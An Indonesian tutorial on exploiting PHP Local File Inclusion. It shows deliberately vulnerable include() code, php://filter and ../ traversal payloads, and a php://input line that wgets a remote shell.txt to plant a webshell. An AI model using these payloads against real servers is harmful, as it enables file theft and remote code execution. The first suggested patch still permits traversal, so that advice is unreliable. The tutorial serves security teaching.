Apa itu LFI
Local File Inclusion adalah celah keamanan berbahaya / critical yang memungkinkan penyerang untuk membaca atau melihat file-file yang ada di server termasuk file-file sensitif. LFI biasanya muncul karena kesalahan pada coding, salah satunya disebabkan oleh sebuah fungsi seperti fungsi include yang tidak divalidasi dan difilter dengan baik dan benar.
Fungsi include adalah fungsi dari bahasa pemrograman PHP yang berfungsi untuk memasukkan atau mengaitkan sesuatu seperti file ke dalam sebuah halaman di website. Ketika fungsi ini tidak divalidasi dengan benar, serangan LFI bisa dijalankan pada halaman-halaman tertentu yang ada di server linux maupun server windows.
Salah satu dampak dari serangan LFI adalah terbacanya file-file sensitif yang ada di server. contohnya file-file sensitif pada server linux seperti "etc/passwd" & "etc/shadow", sementara pada windows server seperti "Windows/System32/drivers/etc/hosts", "Users[USERNAME]/Desktop/desktop.ini", dan "Windows/system32/debug/NetSetup.log".
Bahaya dari LFI
- terbacanya file-file sensitif yang ada di server
- bocornya username, password yang dienkripsi, user id, group id, dll
- attacker/ hacker dapat memasukkan backdoor
- sampai melakukan remote code execution
Sekenario & Tehnik ekploitasi
misal, saya memiliki 5 file yang berjalan pada localhost yaitu,
index.php
, page1.php
,
page2.php
, page3.php
, dan
sebagai file rahasia kita
config.php
.
1. sama sekali tanpa filter
simpel saja, LFI terjadi karena include tanpa filter yang bisa dilihat dari
code index.php
seperti dibawah.
<body>
<h1>Welcome to My Website</h1>
<a href="index.php">Home</a> |
<a href="index.php?page=page1.php">Page 1</a> |
<a href="index.php?page=page2.php">Page 2</a> |
<a href="index.php?page=page3.php">Page 3</a>
<hr/>
<?php
if (isset($_GET['page']))
{
include $_GET['page'];
}
else
{
echo "<p>This is the front page.</p>";
}
?>
</body>
sehingga apapun isi $_GET['page']
akan
langsung di include, jadi misal pada url tertera
http://localhost/index.php?=page1.php
bisa kita bisa
megubah parameterya ke arah file pada local direktori web server tersebut.
misal kita ingin melihat source code dari file config.php, kita bisa
memanfaatkan php wrapper yaitu php://filter
yang
selengkapnya dapat dilihat
disini. menjadi seperti ini
http://localhost/index.php?=php://filter/convert.base64-encode/resource=config.php
.
mengapa tidak langsung
http://localhost/index.php?=config.php
?
sebab nanti dia tidak akan menampilkan source codenya sama sekali alias kosong karena seperti yang kita ketahui dalam config.php cuma mendefine variabel saja tidak ada echo, print, maupun tag html, makannya harus diencode ke b64 dulu.
dan hasilnya bisa dideskripsikan ke b64 decoder online maupun dari terminal kamu seperti ini. dari sini bisa dilihat dan GOTCHA, file config.php dapat kita lihat.
Oh iya, tambahan, bila kebeulan pada file php.ini di server mengizinkan url include
atau allow_url_include = On
, maka kita dapat menjalankan kode php pada server
dengan php://input menggunakan bantuan hackbar. pada url
http://localhost/LFI/index.php=php://input pada post data dengan script php.
jika tereksekusi dengan benar maka kamu bisa upload backdoor misal pada post
data kamu eksekusi dengan kode
<?php echo exec("wget https://website.com/shell.txt -O bekdor.php"); ?>
kita bisa summon php webshell dengan nama bekdor.php.
2. memaksa penambahan .php pada akhir parameter
nah sekarang bagaimana bila ada kasus code sepeti dibawah, dan bagaimana cara eksploitasinya?
<body> <h1>Welcome to My Website</h1> <a href="index.php">Home</a> | <a href="index.php?page=page1">Page 1</a> | <a href="index.php?page=page2">Page 2</a> | <a href="index.php?page=page3">Page 3</a> <hr/> <?php if (isset($_GET['page'])) { include $_GET['page'] . ".php"; } else { echo "<p>This is the front page.</p>"; } ?> </body>
bisa dilihat apapun isi $_GET['page']
akan otomats ditambah .php pada akhir parameternya. bagaimana cara
eksploitasinya?, simpel saja mirip dengan cara pertama namun tinggal menghapus
.php nya menjadi seperti ini http://localhost/index.php?=php://filter/convert.base64-encode/resource=config
3. yang di include harus dalam suatu folder
sekarang kalau cuma seperti ini, dimana semua yang bisa di include harus masuk dalam folder page bagaimana cara ekploitasinya?
<body> <h1>Welcome to My Website</h1> <a href="index.php">Home</a> | <a href="index.php?page=page1.php">Page 1</a> | <a href="index.php?page=page2.php">Page 2</a> | <a href="index.php?page=page3.php">Page 3</a> <hr/> <?php if (isset($_GET['page'])) { include "page/" . $_GET['page']; } else { echo "<p>This is the front page.</p>"; } ?> </body>
kita bisa menggunakan trik direktori traversal, yaitu denga menggunakan
../../ sebanyak mungkin seperlunya, jadi kita keluar folder page naik
terus sampai ke C:/ atau direktori root pada linux. contohnya seperti
berikut, http://localhost/LFI/index.php?page=../../../../../../../../../../windows/system.ini
dan tebaca.
cara patch bug LFI
cara patchnya lumayan mudah dimana kita bisa menggabungkan filter pada kasus ke 2 dan ke 3 menjadi 1 sepert berikut
<body> <h1>Welcome to My Website</h1> <a href="index.php">Home</a> | <a href="index.php?page=page1">Page 1</a> | <a href="index.php?page=page2">Page 2</a> | <a href="index.php?page=page3">Page 3</a> <hr/> <?php if (isset($_GET['page'])) { include "page/" . $_GET['page'] . ".php"; } else { echo "<p>This is the front page.</p>"; } ?> </body>
dimana hanya bisa meng include yang ada di folder page dan diahiri dengan .php.
atau bisa juga menggunakan whitelist agar lebh aman, dimana kita membuat list halaman apa saja yang di izinkan untuk di include seperti berikut.
<body> <h1>Welcome to My Website</h1> <a href="index.php">Home</a> | <a href="index.php?page=page1">Page 1</a> | <a href="index.php?page=page2">Page 2</a> | <a href="index.php?page=page3">Page 3</a> <hr/> <?php $whitelist = array("page1", "page2", "page3"); // halaman apa saja yang boleh di include if (isset($_GET['page'])) { if ( !in_array($_GET['page'], $whitelist)) { //kalau parameter page tidak ada di white list die("Invalid Page"); // maka langsung exit dengan pesan Invalid Page } else { include "page/" . $_GET['page'] . ".php"; } } else { echo "<p>This is the front page.</p>"; } ?> </body>
sekian tutorialnya kalau kurang manfaat ya cari manfaat lain.